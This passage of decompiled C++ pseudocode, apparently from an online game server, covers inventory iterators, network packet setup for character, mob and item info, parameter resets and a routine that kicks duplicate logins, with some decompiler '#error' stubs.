{ MobAttackSequence::AttackElement4Mob *v1; // esi@1 v1 = this; List::_List((List *)&this->ae4m_HPLow_ChangeOrderBody); List::_List((List *)&v1->ae4m_SaveNextSkillBody); List::_List((List *)&v1->ae4m_TargetStateBody); List::_List((List *)&v1->ae4m_HPLowBody); List::_List((List *)&v1->ae4m_OutOfRangeBody); } //----- (004318F0) -------------------------------------------------------- void __thiscall ItemLotInspector::ili_Reset(ItemLotInspector *this) { unsigned int v1; // edx@1 v1 = 248 * (this->ili_ArrayPointer.mask & (this->ili_ArrayPointer.value + 1)); this->ili_ArrayPointer.value = this->ili_ArrayPointer.mask & (this->ili_ArrayPointer.value + 1); this->ili_Action = 0; *(_WORD *)&this->gap4[v1 + 4] = -1; this->gap4[v1 + 228] = 0; this->gap4[v1 + 220] = 0; this->gap4[v1 + 112] = 0; this->gap4[v1 + 6] = 0; } //----- (00431930) -------------------------------------------------------- void __thiscall ItemBoxIterItem::ItemBoxIterItem(ItemBoxIterItem *this, ItemBag *ib, ChargedEffectContainer *cec) { ItemBoxIterItem *v3; // esi@1 v3 = this; this->baseclass_0.vfptr = (ItemBoxIteratorVtbl *)&ItemBoxIterator::_vftable_; this->baseclass_0.ibi_itembag = ib; if ( cec ) { this->baseclass_0.ibi_Limit = ((int (__stdcall *)(_DWORD))ib->vfptr->ib_BagSizeInput)(cec); v3->baseclass_0.vfptr = (ItemBoxIteratorVtbl *)&ItemBoxIterItem::_vftable_; } else { this->baseclass_0.ibi_Limit = ((int (*)(void))ib->vfptr->ib_BagSizeOutput)(); v3->baseclass_0.vfptr = (ItemBoxIteratorVtbl *)&ItemBoxIterItem::_vftable_; } } // 639188: using guessed type int (__thiscall *ItemBoxIterItem___vftable_)(_DWORD); //----- (00431980) -------------------------------------------------------- void __thiscall ItemBoxIterIdent::ItemBoxIterIdent(ItemBoxIterIdent *this, ItemBag *ib, unsigned __int16 ident, ChargedEffectContainer *cec) { ItemBoxIterIdent *v4; // esi@1 int v5; // eax@2 v4 = this; this->baseclass_0.vfptr = (ItemBoxIteratorVtbl *)&ItemBoxIterator::_vftable_; this->baseclass_0.ibi_itembag = ib; if ( cec ) v5 = ((int (__stdcall *)(_DWORD))ib->vfptr->ib_BagSizeInput)(cec); else v5 = ((int (*)(void))ib->vfptr->ib_BagSizeOutput)(); v4->baseclass_0.ibi_Limit = v5; v4->baseclass_0.vfptr = (ItemBoxIteratorVtbl *)&ItemBoxIterIdent::_vftable_; v4->ibii_ident = ident; } // 63918C: using guessed type int (__thiscall *ItemBoxIterIdent___vftable_)(_DWORD); //----- (004319C0) -------------------------------------------------------- char __thiscall ItemBoxIterator::ibi_Home(ItemBoxIterator *this) { ItemBoxIterator *v1; // esi@1 ItemBoxIteratorVtbl *v2; // eax@1 char result; // al@2 v1 = this; v2 = this->vfptr; this->ibi_finger = 0; if ( (unsigned __int8)((int (*)(void))v2->ibi_isvalid)() ) result = 1; else result = ItemBoxIterator::ibi_Next(v1); return result; } //----- (004319E0) -------------------------------------------------------- ItemInventoryCell *__thiscall ItemBoxIterator::ibi_Get(ItemBoxIterator *this) { return (ItemInventoryCell *)(**(int (__stdcall ***)(_DWORD))this->ibi_itembag)(this->ibi_finger); } //----- (004319F0) -------------------------------------------------------- ItemInventoryCell *__thiscall InventoryLocking::UnlockedInventoryIterator::uii_Get(InventoryLocking::UnlockedInventoryIterator *this) { return (ItemInventoryCell *)(**(int (__stdcall ***)(_DWORD))this->uii_Iterator->ibi_itembag)(this->uii_Iterator->ibi_finger); } //----- (00431A00) -------------------------------------------------------- void __thiscall BriefInformationCharacter::bic_HideMyIdentity(BriefInformationCharacter *this) { BriefInformationCharacter *v1; // esi@1 char *v2; // ST00_4@1 v1 = this; v2 = (char *)&this->bic_BriefInfo->charid; *(_DWORD *)&this->bic_BriefInfo->charid.n4_name[12] = 0; *((_DWORD *)v2 + 2) = 0; *((_DWORD *)v2 + 1) = 0; *(_DWORD *)v2 = 0; strncpy(v2, "???", 0x10u); v1->bic_BriefInfo->chartitle.Type = 0; v1->bic_BriefInfo->chartitle.ElementNo = 0; v1->bic_BriefInfo->chartitle.MobID = -1; v1->bic_BriefInfo->myguild = 0; } //----- (00431A60) -------------------------------------------------------- void __thiscall BriefInformationCharacter::bic_ShowMyIdentity(BriefInformationCharacter *this, ZoneCharData *chardata, char Type, char ElementNo, unsigned __int16 MobID, unsigned int gld) { char *v6; // eax@1 v6 = (char *)&this->bic_BriefInfo->charid; *(_QWORD *)v6 = *(_QWORD *)&chardata->toclient.basedata.charid.n4_name[0]; *((_QWORD *)v6 + 1) = *(_QWORD *)&chardata->toclient.basedata.charid.n4_name[8]; this->bic_BriefInfo->chartitle.Type = Type; this->bic_BriefInfo->chartitle.ElementNo = ElementNo; this->bic_BriefInfo->chartitle.MobID = MobID; this->bic_BriefInfo->myguild = gld; } //----- (00431AD0) -------------------------------------------------------- void __thiscall BriefInformationCharacter::bic_SetAnimation(BriefInformationCharacter *this, const char *AnimationIndex) { if ( AnimationIndex ) strncpy(this->bic_BriefInfo->sAnimation, AnimationIndex, 0x20u); } //----- (00431B00) -------------------------------------------------------- void __thiscall BriefInfoDelete::BriefInfoDelete(BriefInfoDelete *this) { BriefInfoDelete *v1; // esi@1 char *v2; // eax@1 v1 = this; this->bid_Pack.pp_PacketLength = 0; this->bid_Pack.pp_Buffer = this->bid_Array; this->bid_Pack.pp_BufferSize = 128; ProtocolPacket::pp_SetPacketLen(&this->bid_Pack, 4); v2 = v1->bid_Pack.pp_Buffer; v1->bid_nc = (NETCOMMAND *)v1->bid_Pack.pp_Buffer; v1->bid_BriefDelete = (PROTO_NC_BRIEFINFO_BRIEFINFODELETE_CMD *)(v2 + 2); *(_WORD *)v2 = *(_WORD *)v2 & 0x3FF | 0x1C00; v1->bid_nc->protocol = v1->bid_nc->protocol & 0xFC0E | 0xE; } //----- (00431B60) -------------------------------------------------------- void __thiscall BriefInformationAbstate::BriefInformationAbstate(BriefInformationAbstate *this) { BriefInformationAbstate *v1; // eax@1 char *v2; // ecx@1 v1 = this; v2 = this->bia_abStateBuffer; v1->bia_Packet.pp_Buffer = v2; v1->bia_Packet.pp_PacketLength = 0; v1->bia_Packet.pp_BufferSize = 365; *(_WORD *)v2 = 7193; v1->bia_nc = (NETCOMMAND *)v2; v1->bia_Pointer = (PROTO_NC_BRIEFINFO_ABSTATE_CHANGE_LIST_CMD *)(v2 + 2); } //----- (00431B90) -------------------------------------------------------- #error "431B90: undefined or illegal type '#593' (funcsize=19)" //----- (00431BC0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineObject::so_FieldSightSquar(int this) { int v1; // eax@1 int v2; // ecx@2 int result; // eax@4 v1 = *(_DWORD *)(this + 98); if ( v1 && (v2 = *(_DWORD *)(v1 + 16)) != 0 ) { if ( *(_DWORD *)(v1 + 420) == 1 ) result = -1; else result = *(_DWORD *)(v2 + 56) * *(_DWORD *)(v2 + 56); } else { result = 0; } return result; } //----- (00431BF0) -------------------------------------------------------- void __thiscall Parameter::Container::c_clear(int this) { int v1; // ebx@1 char v2; // cl@1 v1 = this; memcpy((void *)this, ¶meter_eraser_plus, 0xC0u); memcpy((void *)(this + 192), ¶meter_eraser_plus, 0xC0u); memcpy((void *)(this + 384), ¶meter_eraser_rate, 0xC0u); memcpy((void *)(this + 576), ¶meter_eraser_plus, 0xC0u); memcpy((void *)(this + 768), ¶meter_eraser_rate, 0xC0u); memcpy((void *)(this + 960), ¶meter_eraser_plus, 0xC0u); memcpy((void *)(this + 1152), ¶meter_eraser_rate, 0xC0u); memcpy((void *)(this + 1344), ¶meter_eraser_plus, 0xC0u); memcpy((void *)(this + 1536), ¶meter_eraser_rate, 0xC0u); memcpy((void *)(this + 1728), ¶meter_eraser_plus, 0xC0u); memcpy((void *)(this + 1920), ¶meter_eraser_rate, 0xC0u); memcpy((void *)(this + 2112), ¶meter_eraser_plus, 0xC0u); memcpy((void *)(this + 2304), ¶meter_eraser_rate, 0xC0u); memcpy((void *)(this + 2496), ¶meter_eraser_plus, 0xC0u); memcpy((void *)(this + 2688), ¶meter_eraser_rate, 0xC0u); v2 = *(_BYTE *)(this + 3086) & 0xF8; *(_WORD *)(v1 + 3082) = 1000; *(_WORD *)(v1 + 3074) = 0; *(_WORD *)(v1 + 3076) = 0; *(_WORD *)(v1 + 3078) = 0; *(_WORD *)(v1 + 3080) = 0; *(_WORD *)(v1 + 3072) = 0; *(_WORD *)(v1 + 3084) = 0; *(_BYTE *)(v1 + 3086) = v2; *(_WORD *)(v1 + 3092) = -1; *(_WORD *)(v1 + 3090) = 0; *(_WORD *)(v1 + 3088) = 0; *(_WORD *)(v1 + 3094) = 1000; *(_DWORD *)(v1 + 1664) = 0; *(_DWORD *)(v1 + 1668) = 0; *(_WORD *)(v1 + 3096) = 0; *(_WORD *)(v1 + 3098) = 0; *(_WORD *)(v1 + 3100) = 0; Parameter::ChangeByConditionParam::cbcp_Clear((Parameter::ChangeByConditionParam *)(v1 + 3104)); Parameter::ChangeByConditionParam::cbcp_Clear((Parameter::ChangeByConditionParam *)(v1 + 3132)); Parameter::ChangeByConditionParam::cbcp_Clear((Parameter::ChangeByConditionParam *)(v1 + 3160)); Parameter::ChangeByConditionParam::cbcp_Clear((Parameter::ChangeByConditionParam *)(v1 + 3188)); Parameter::ChangeByConditionParam::cbcp_Clear((Parameter::ChangeByConditionParam *)(v1 + 3216)); Parameter::ChangeByConditionParam::cbcp_Clear((Parameter::ChangeByConditionParam *)(v1 + 3244)); Parameter::ChangeByConditionParam::cbcp_Clear((Parameter::ChangeByConditionParam *)(v1 + 3272)); *(_WORD *)(v1 + 3300) = 0; *(_WORD *)(v1 + 3302) = 0; } //----- (00431DF0) -------------------------------------------------------- int __thiscall Parameter::Container::c_StoreMob(int this, int mobdatabox) { int result; // eax@1 result = this; memcpy((void *)this, ¶meter_eraser_plus, 0xC0u); *(_DWORD *)this = *(_WORD *)(*(_DWORD *)(mobdatabox + 4) + 80); *(_DWORD *)(this + 4) = *(_WORD *)(*(_DWORD *)(mobdatabox + 4) + 84); *(_DWORD *)(this + 8) = *(_WORD *)(*(_DWORD *)(mobdatabox + 4) + 82); *(_DWORD *)(this + 12) = *(_WORD *)(*(_DWORD *)(mobdatabox + 4) + 86); *(_DWORD *)(this + 16) = *(_WORD *)(*(_DWORD *)(mobdatabox + 4) + 88); *(_DWORD *)(this + 24) = 0; *(_DWORD *)(this + 20) = 0; *(_DWORD *)(this + 28) = *(_WORD *)(*(_DWORD *)(mobdatabox + 4) + 37); *(_DWORD *)(this + 32) = 0; *(_DWORD *)(this + 228) = *(_WORD *)(*(_DWORD *)(mobdatabox + 4) + 39); *(_DWORD *)(this + 44) = 0; *(_DWORD *)(this + 40) = 0; *(_DWORD *)(this + 48) = *(_WORD *)(*(_DWORD *)(mobdatabox + 4) + 41); *(_DWORD *)(this + 52) = 0; *(_DWORD *)(this + 56) = *(_WORD *)(*(_DWORD *)(mobdatabox + 4) + 43); *(_DWORD *)(this + 76) = 1000; *(_DWORD *)(this + 80) = 1000; *(_DWORD *)(this + 84) = 1000; *(_DWORD *)(this + 88) = 0; *(_DWORD *)(this + 92) = 0; *(_DWORD *)(this + 96) = 0; *(_DWORD *)(this + 100) = 0; *(_DWORD *)(this + 104) = 0; *(_DWORD *)(this + 108) = 0; *(_DWORD *)(this + 112) = 0; *(_DWORD *)(this + 116) = 0; *(_DWORD *)(this + 120) = 0; *(_DWORD *)(this + 124) = 0; return result; } //----- (00431EB0) -------------------------------------------------------- MobTacticElement::MobActionBase *__thiscall MobTacticElement::MobActionRoaming::mar_Init(MobTacticElement::MobActionRoaming *this, ShineObjectClass::RoamingInformation *roaminfo) { MobTacticElement::MobActionBase *result; // eax@1 result = (MobTacticElement::MobActionBase *)this; HIBYTE(roaminfo->_bf0) = 0; return result; } //----- (00431EC0) -------------------------------------------------------- void __thiscall BriefInfoExchanger::BriefInfoExchangeCharacter::BriefInfoExchangeCharacter(BriefInfoExchanger::BriefInfoExchangeCharacter *this) { BriefInfoExchanger::BriefInfoExchangeCharacter *v1; // eax@1 char *v2; // ecx@1 v1 = this; v2 = this->bixc_Packetbuffer; v1->bixc_Packet.pp_Buffer = v2; v1->bixc_nc = (NETCOMMAND *)v2; v1->bixc_Packet.pp_PacketLength = 0; v1->bixc_Packet.pp_BufferSize = 6851; *(_WORD *)v2 = *(_WORD *)v2 & 0x3FF | 0x1C00; v1->bixc_nc->protocol = v1->bixc_nc->protocol & 0xFC07 | 7; v1->bixc_Pointer = (PROTO_NC_BRIEFINFO_CHARACTER_CMD *)&v1->bixc_nc[1]; } //----- (00431F20) -------------------------------------------------------- void __thiscall BriefInfoExchanger::BriefInfoExchangeMob::BriefInfoExchangeMob(BriefInfoExchanger::BriefInfoExchangeMob *this) { BriefInfoExchanger::BriefInfoExchangeMob *v1; // eax@1 char *v2; // ecx@1 v1 = this; v2 = this->bixm_Packetbuffer; v1->bixm_Packet.pp_Buffer = v2; v1->bixm_nc = (NETCOMMAND *)v2; v1->bixm_Packet.pp_PacketLength = 0; v1->bixm_Packet.pp_BufferSize = 3844; *(_WORD *)v2 = *(_WORD *)v2 & 0x3FF | 0x1C00; v1->bixm_nc->protocol = v1->bixm_nc->protocol & 0xFC09 | 9; v1->bixm_Pointer = (PROTO_NC_BRIEFINFO_MOB_CMD *)&v1->bixm_nc[1]; } //----- (00431F80) -------------------------------------------------------- void __thiscall BriefInfoExchanger::BriefInfoExchangeMob::bixm_Init(BriefInfoExchanger::BriefInfoExchangeMob *this) { PROTO_NC_BRIEFINFO_MOB_CMD *v1; // eax@2 if ( this->bixm_Pointer ) { this->bixm_Pointer->mobnum = 0; } else { this->bixm_Packet.pp_Buffer = this->bixm_Packetbuffer; this->bixm_nc = (NETCOMMAND *)this->bixm_Packetbuffer; this->bixm_Packet.pp_BufferSize = 3844; *(_WORD *)&this->bixm_Packetbuffer[0] = *(_WORD *)&this->bixm_Packetbuffer[0] & 0x3FF | 0x1C00; this->bixm_nc->protocol = this->bixm_nc->protocol & 0xFC09 | 9; v1 = (PROTO_NC_BRIEFINFO_MOB_CMD *)&this->bixm_nc[1]; this->bixm_Pointer = v1; v1->mobnum = 0; } } //----- (00431FF0) -------------------------------------------------------- void __thiscall BriefInfoExchanger::BriefInfoExchangeDoor::BriefInfoExchangeDoor(BriefInfoExchanger::BriefInfoExchangeDoor *this) { BriefInfoExchanger::BriefInfoExchangeDoor *v1; // eax@1 char *v2; // ecx@1 v1 = this; v2 = this->bixd_Packetbuffer; v1->bixd_Packet.pp_Buffer = v2; v1->bixd_nc = (NETCOMMAND *)v2; v1->bixd_Packet.pp_PacketLength = 0; v1->bixd_Packet.pp_BufferSize = 1488; *(_WORD *)v2 = *(_WORD *)v2 & 0x3FF | 0x1C00; v1->bixd_nc->protocol = v1->bixd_nc->protocol & 0xFC10 | 0x10; v1->bixd_Pointer = (PROTO_NC_BRIEFINFO_DOOR_CMD *)&v1->bixd_nc[1]; } //----- (00432050) -------------------------------------------------------- void __thiscall BriefInfoExchanger::BriefInfoExchangeEffect::BriefInfoExchangeEffect(BriefInfoExchanger::BriefInfoExchangeEffect *this) { BriefInfoExchanger::BriefInfoExchangeEffect *v1; // eax@1 char *v2; // ecx@1 v1 = this; v2 = this->bixe_Packetbuffer; v1->bixe_Packet.pp_Buffer = v2; v1->bixe_nc = (NETCOMMAND *)v2; v1->bixe_Packet.pp_PacketLength = 0; v1->bixe_Packet.pp_BufferSize = 1488; *(_WORD *)v2 = *(_WORD *)v2 & 0x3FF | 0x1C00; v1->bixe_nc->protocol = v1->bixe_nc->protocol & 0xFC12 | 0x12; v1->bixe_Pointer = (PROTO_NC_BRIEFINFO_EFFECT_CMD *)&v1->bixe_nc[1]; } //----- (004320B0) -------------------------------------------------------- void __thiscall BriefInfoExchanger::BriefInfoExchangeItem::BriefInfoExchangeItem(BriefInfoExchanger::BriefInfoExchangeItem *this) { BriefInfoExchanger::BriefInfoExchangeItem *v1; // eax@1 char *v2; // ecx@1 v1 = this; v2 = this->bixi_Packetbuffer; v1->bixi_Packet.pp_Buffer = v2; v1->bixi_nc = (NETCOMMAND *)v2; v1->bixi_Packet.pp_PacketLength = 0; v1->bixi_Packet.pp_BufferSize = 465; *(_WORD *)v2 = *(_WORD *)v2 & 0x3FF | 0x1C00; v1->bixi_nc->protocol = v1->bixi_nc->protocol & 0xFC0B | 0xB; v1->bixi_Pointer = (PROTO_NC_BRIEFINFO_ITEMONFIELD_CMD *)&v1->bixi_nc[1]; } //----- (00432110) -------------------------------------------------------- void __thiscall BriefInfoExchanger::BriefInfoExchangeMagicField::BriefInfoExchangeMagicField(BriefInfoExchanger::BriefInfoExchangeMagicField *this) { BriefInfoExchanger::BriefInfoExchangeMagicField *v1; // eax@1 char *v2; // ecx@1 v1 = this; v2 = this->bixmfm_Packetbuffer; v1->bixmfm_Packet.pp_Buffer = v2; v1->bixmfm_nc = (NETCOMMAND *)v2; v1->bixmfm_Packet.pp_PacketLength = 0; v1->bixmfm_Packet.pp_BufferSize = 496; *(_WORD *)v2 = *(_WORD *)v2 & 0x3FF | 0x1C00; v1->bixmfm_nc->protocol = v1->bixmfm_nc->protocol & 0xFC0D | 0xD; v1->bixmfm_Pointer = (PROTO_NC_BRIEFINFO_MAGICFIELDINFO_CMD *)&v1->bixmfm_nc[1]; } //----- (00432170) -------------------------------------------------------- void __thiscall BriefInfoExchanger::BriefInfoExchangeMiniHouse::BriefInfoExchangeMiniHouse(BriefInfoExchanger::BriefInfoExchangeMiniHouse *this) { BriefInfoExchanger::BriefInfoExchangeMiniHouse *v1; // eax@1 char *v2; // ecx@1 v1 = this; v2 = this->bixc_Packetbuffer; v1->bixmh_Packet.pp_Buffer = v2; v1->bixmh_nc = (NETCOMMAND *)v2; v1->bixmh_Packet.pp_PacketLength = 0; v1->bixmh_Packet.pp_BufferSize = 1829; *(_WORD *)v2 = *(_WORD *)v2 & 0x3FF | 0x1C00; v1->bixmh_nc->protocol = v1->bixmh_nc->protocol & 0xFC14 | 0x14; v1->bixmh_Pointer = (PROTO_NC_BRIEFINFO_MINIHOUSE_CMD *)&v1->bixmh_nc[1]; } //----- (004321D0) -------------------------------------------------------- void __thiscall BriefInfoExchanger::BriefInfoExchangeAbstate::bixaPacketbuffer::bixaPacketbuffer(BriefInfoExchanger::BriefInfoExchangeAbstate::bixaPacketbuffer *this) { this->bixa_Packet.pp_Buffer = 0; this->bixa_Packet.pp_PacketLength = 0; } //----- (004321E0) -------------------------------------------------------- void __thiscall BriefInfoExchanger::BriefInfoExchangeAbstate::_BriefInfoExchangeAbstate(BriefInfoExchanger::BriefInfoExchangeAbstate *this) { _eh_vector_destructor_iterator_( this, 0x17Cu, 30, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } //----- (00432200) -------------------------------------------------------- void __thiscall BriefInfoExchanger::BriefInfoExchangeAbstate::bixa_Init(BriefInfoExchanger::BriefInfoExchangeAbstate *this) { char *v1; // eax@2 signed int v2; // edi@2 PROTO_NC_BRIEFINFO_ABSTATE_CHANGE_LIST_CMD *v3; // edx@3 NETCOMMAND *v4; // edx@3 PROTO_NC_BRIEFINFO_ABSTATE_CHANGE_LIST_CMD *v5; // edx@3 NETCOMMAND *v6; // edx@3 PROTO_NC_BRIEFINFO_ABSTATE_CHANGE_LIST_CMD *v7; // edx@3 NETCOMMAND *v8; // edx@3 PROTO_NC_BRIEFINFO_ABSTATE_CHANGE_LIST_CMD *v9; // edx@3 NETCOMMAND *v10; // edx@3 PROTO_NC_BRIEFINFO_ABSTATE_CHANGE_LIST_CMD *v11; // edx@3 NETCOMMAND *v12; // edx@3 PROTO_NC_BRIEFINFO_ABSTATE_CHANGE_LIST_CMD *v13; // edx@3 PROTO_NC_BRIEFINFO_ABSTATE_CHANGE_LIST_CMD *v14; // eax@4 if ( !this->bixa_Pointer ) { v1 = (char *)&this->bixa_Packetbuffer[2].bixa_Packet.pp_BufferSize; v2 = 5; do { *((_DWORD *)v1 - 190) = 365; *((_DWORD *)v1 - 191) = v1 - 752; *((_WORD *)v1 - 376) = 7193; this->bixa_nc = (NETCOMMAND *)(v1 - 752); v3 = (PROTO_NC_BRIEFINFO_ABSTATE_CHANGE_LIST_CMD *)(*((_DWORD *)v1 - 191) + 2); this->bixa_Pointer = v3; v3->handle = -1; this->bixa_Pointer->count = 0; *((_DWORD *)v1 - 96) = v1 - 372; *((_DWORD *)v1 - 95) = 365; v4 = (NETCOMMAND *)*((_DWORD *)v1 - 96); v4->protocol = 7193; this->bixa_nc = v4; v5 = (PROTO_NC_BRIEFINFO_ABSTATE_CHANGE_LIST_CMD *)(*((_DWORD *)v1 - 96) + 2); this->bixa_Pointer = v5; v5->handle = -1; this->bixa_Pointer->count = 0; *((_DWORD *)v1 - 1) = v1 + 8; *(_DWORD *)v1 = 365; v6 = (NETCOMMAND *)*((_DWORD *)v1 - 1); v6->protocol = 7193; this->bixa_nc = v6; v7 = (PROTO_NC_BRIEFINFO_ABSTATE_CHANGE_LIST_CMD *)(*((_DWORD *)v1 - 1) + 2); this->bixa_Pointer = v7; v7->handle = -1; this->bixa_Pointer->count = 0; *((_DWORD *)v1 + 94) = v1 + 388; *((_DWORD *)v1 + 95) = 365; v8 = (NETCOMMAND *)*((_DWORD *)v1 + 94); v8->protocol = 7193; this->bixa_nc = v8; v9 = (PROTO_NC_BRIEFINFO_ABSTATE_CHANGE_LIST_CMD *)(*((_DWORD *)v1 + 94) + 2); this->bixa_Pointer = v9; v9->handle = -1; this->bixa_Pointer->count = 0; *((_DWORD *)v1 + 189) = v1 + 768; *((_DWORD *)v1 + 190) = 365; v10 = (NETCOMMAND *)*((_DWORD *)v1 + 189); v10->protocol = 7193; this->bixa_nc = v10; v11 = (PROTO_NC_BRIEFINFO_ABSTATE_CHANGE_LIST_CMD *)(*((_DWORD *)v1 + 189) + 2); this->bixa_Pointer = v11; v11->handle = -1; this->bixa_Pointer->count = 0; *((_DWORD *)v1 + 284) = v1 + 1148; *((_DWORD *)v1 + 285) = 365; v12 = (NETCOMMAND *)*((_DWORD *)v1 + 284); v12->protocol = 7193; this->bixa_nc = v12; v13 = (PROTO_NC_BRIEFINFO_ABSTATE_CHANGE_LIST_CMD *)(*((_DWORD *)v1 + 284) + 2); this->bixa_Pointer = v13; v13->handle = -1; v1 += 2280; --v2; this->bixa_Pointer->count = 0; } while ( v2 ); v14 = (PROTO_NC_BRIEFINFO_ABSTATE_CHANGE_LIST_CMD *)(this->bixa_Packetbuffer[0].bixa_Packet.pp_Buffer + 2); this->bixa_count = 0; this->bixa_Pointer = v14; } } //----- (004323B0) -------------------------------------------------------- void __thiscall CalculateBroadcastDistance::CalculateBroadcastDistance(CalculateBroadcastDistance *this) { int v1; // esi@1 int v2; // eax@1 unsigned __int64 v3; // qax@2 v1 = 1; v2 = 1 - this->cbd_MinDist; this->cbd_DistSquar[0] = 2560000; if ( (unsigned int)v2 < 0x1F4 ) { do { v3 = (unsigned __int64)sqrt((double)((signed int)&wholesaver.ws_savestore[781].gap119c8[5536] / v1)); if ( (unsigned int)v3 <= 0x640 ) this->cbd_DistSquar[v1 - this->cbd_MinDist] = v3 * v3; else this->cbd_MinDist = v1; ++v1; } while ( (unsigned int)(v1 - this->cbd_MinDist) < 0x1F4 ); } } //----- (00432430) -------------------------------------------------------- void __thiscall BriefInfoBackup::BriefInfoBackup(BriefInfoBackup *this) { this->bib_Backuped = 0; } //----- (00432440) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_ply_FromWhere(void *this, char connectfrom) { char result; // al@1 result = connectfrom; *((_BYTE *)this + 143272) = connectfrom; if ( connectfrom == 1 ) result = (*(int (__stdcall **)(void *, signed int, signed int, _DWORD, unsigned int, _DWORD, signed int, signed int, _DWORD))(*(_DWORD *)this + 1584))( this, 385, 1, unk_6BCF98, clockwatch.cw_CurrTick, 0, -1, 1000000000, 0); return result; } //----- (00432480) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_ply_GetFromWhere(int this) { return *(_BYTE *)(this + 143272); } //----- (00432490) -------------------------------------------------------- void __thiscall AxialListGhostBan::_AxialListGhostBan(AxialListGhostBan *this) { this->baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListGhostBan::_vftable_; AxialListNearGateFind::_AxialListNearGateFind((AxialListNearGateFind *)this); } // 6391A0: using guessed type int (__stdcall *AxialListGhostBan___vftable_)(int, int, int distancesquar); //----- (004324A0) -------------------------------------------------------- #error "4324A0: undefined or illegal type '#593' (funcsize=32)" //----- (00432500) -------------------------------------------------------- void __thiscall Observer::_Observer(Observer *this) { IObserver *v1; // esi@1 v1 = (IObserver *)this; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&this->tick_); IObserver::_IObserver(v1); } //----- (00432550) -------------------------------------------------------- CIDEB_Element *__thiscall ChargedItemEffectDataBox::cideb_GetItemID(ChargedItemEffectDataBox *this, unsigned __int16 itemid) { int v2; // edx@1 int v3; // eax@1 CIDEB_Element *v4; // esi@2 CIDEB_Element *v5; // ecx@2 CIDEB_Element *result; // eax@5 v2 = this->cideb_Total; v3 = 0; if ( v2 <= 0 ) { LABEL_5: result = 0; } else { v4 = this->cideb_Array; v5 = this->cideb_Array; while ( v5->ce_ItemID != itemid ) { ++v3; ++v5; if ( v3 >= v2 ) goto LABEL_5; } result = &v4[v3]; } return result; } //----- (00432590) -------------------------------------------------------- void __cdecl memorycopy(ShineObjectClass::ShinePlayer::SpeedNotice *a, ShineObjectClass::ShinePlayer::SpeedNotice *b, unsigned __int16 num) { memcpy(a, b, 4 * (6 * (unsigned int)num >> 2)); } //----- (004325C0) -------------------------------------------------------- char __thiscall ItemBoxIterItem::ibi_isvalid(ItemBoxIterItem *this) { return *(_WORD *)((**(int (__stdcall ***)(_DWORD))this->baseclass_0.ibi_itembag)(this->baseclass_0.ibi_finger) + 8) != -1; } //----- (004325E0) -------------------------------------------------------- char __thiscall ItemBoxIterIdent::ibi_isvalid(ItemBoxIterIdent *this) { return *(_WORD *)((**(int (__stdcall ***)(_DWORD))this->baseclass_0.ibi_itembag)(this->baseclass_0.ibi_finger) + 8) == this->ibii_ident; } //----- (00432600) -------------------------------------------------------- #error "432600: undefined or illegal type '#593' (funcsize=26)" //----- (00432660) -------------------------------------------------------- #error "432660: undefined or illegal type '#615' (funcsize=14)" //----- (00432690) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_KeepFromDoubleLogin(void *this) { void *v1; // ebp@1 ShineObjectEachList *v2; // ebx@1 DebugLogging *v3; // eax@2 ListStruct *v4; // ecx@3 unsigned __int16 v5; // ax@3 unsigned __int16 v6; // si@3 int v7; // eax@5 int v8; // edi@6 int v9; // ST28_4@8 DebugLogging *v10; // esi@9 _iobuf *v11; // eax@11 _iobuf *v12; // eax@16 char *v13; // [sp-4h] [bp-30h]@2 unsigned __int16 v14; // [sp+12h] [bp-1Ah]@3 void *v15; // [sp+14h] [bp-18h]@1 v1 = this; v15 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_KeepFromDoubleLogin"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_KeepFromDoubleLogin"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = shineobjmanager.som_ListContainer[2]; if ( shineobjmanager.som_ListContainer[2] ) { v4 = shineobjmanager.som_ListContainer[2]->baseclass_0.l_Array; v5 = v4[shineobjmanager.som_ListContainer[2]->baseclass_0.l_Finger.store].ls_Next; v6 = v4[v5].ls_Next; v14 = v4[v5].ls_Next; while ( v5 < v2->baseclass_0.l_MaxSize ) { v7 = (int)&v2->baseclass_0.l_Array[v5]; if ( !*(_BYTE *)(v7 + 8) ) break; v8 = *(_DWORD *)v7; if ( !*(_DWORD *)v7 ) break; if ( *(_WORD *)(v8 + 4) != *((_WORD *)v1 + 2) ) { v9 = (*(int (__thiscall **)(int))(*(_DWORD *)v8 + 840))(v8); if ( v9 == (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 840))(v1) ) { (*(void (__thiscall **)(int))(*(_DWORD *)v8 + 836))(v8); v10 = DebugLogging::operator<<(&MoreDisconnectLog, "Kick by double connect "); if ( DebugLogging::dl_ActivAll ) { if ( v10->dl_Activ ) { DebugLogging::dl_FilePoint(v10); v11 = v10->dl_FilePointer; if ( v11 ) fprintf(v11, "%d"); } if ( DebugLogging::dl_ActivAll && v10->dl_Activ && v10->dl_FilePointer ) { v12 = DebugLogging::dl_FilePoint(v10); fputc(10, v12); fflush(v10->dl_FilePointer); fclose(v10->dl_FilePointer); v10->dl_FilePointer = 0; } } (*(void (__thiscall **)(int, signed int))(*(_DWORD *)v8 + 1524))(v8, 1); v6 = v14; } v1 = v15; } if ( v6 >= v2->baseclass_0.l_MaxSize ) break; v5 = v6; v14 = v2->baseclass_0.l_Array[v6].ls_Next; v6 = v2->baseclass_0.l_Array[v6].ls_Next; } v13 = "ShineObjectClass::ShinePlayer::sp_KeepFromDoubleLogin"; } else { v3 = DebugLogging::operator<<( &MoreDisconnectLog, "ShineObjectClass::ShinePlayer::sp_KeepFromDoubleLogin : List Null"); DebugLogging::operator<<(v3, &deb_LF); v13 = "ShineObjectClass::ShinePlayer::sp_KeepFromDoubleLogin"; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v13); } // 6A7AA1: using guessed type unsigned __int8 DebugLogging__dl_ActivAll; //----- (004328B0) -------------------------------------------------------- void __thiscall 